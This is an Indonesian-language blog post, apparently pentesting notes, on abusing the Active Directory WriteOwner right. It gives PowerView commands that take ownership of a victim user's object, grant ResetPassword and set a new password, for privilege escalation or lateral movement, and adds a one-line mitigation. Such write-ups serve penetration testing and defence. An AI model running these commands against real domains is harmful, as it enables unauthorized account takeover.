Post

[ACL] WriteOwner Abuse

Hak akses WriteOwner dengan object user memungkinkan kita untuk memodifikasi nilai object, seperti password.

Tujuan

  • Privilege escalation atau
  • lateral movement

Prasyarat

  • User dengan hak akses WriteOwner terhadap user lain

Tools

  • Powershell
  • PowerView

Tahapan eksploitasi

Step 1: Cek Hak Akses Dengan BloodHound

Pada kasus ini, Tom memiliki hak akses WriteOwner terhadap Claire.

bloodhound writeowner

Step 2: Merubah Password Korban

Selanjutnya, kita akan memanfaatkan hak akses ini untuk merubah password Claire.

1
2
3
4
5
6
7
8
9
10
11
12
# import PowerView
PS> . .\PowerView.ps1

# tetapkan tom sebagai pemilik ACL claire
PS> Set-DomainObjectOwner -identity claire -OwnerIdentity tom 

# berikan izin kepada Tom untuk mengubah kata sandi pada ACL itu
PS> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword 

# buat kredensial PowerShell dan ubah kredensial
PS> $cred = ConvertTo-SecureString "P@asdasdW0rd1" -AsPlainText -force
PS> Set-DomainUserPassword -identity claire -accountpassword $cred

Selain merubah password korban, kita juga dapat mengaktifkan reversible encryption atau membuat user Kerberostable. Hal ini dilakukan agar tidak membahayakan environment production.

ubah password berhasil

Mitigasi

Perhatikan kembali penentuan hak akses WriteOwner.


Referensi

  • https://zflemingg1.gitbook.io/undergrad-tutorials/active-directory-acl-abuse/writeowner-exploit
This post is licensed under CC BY 4.0 by the author.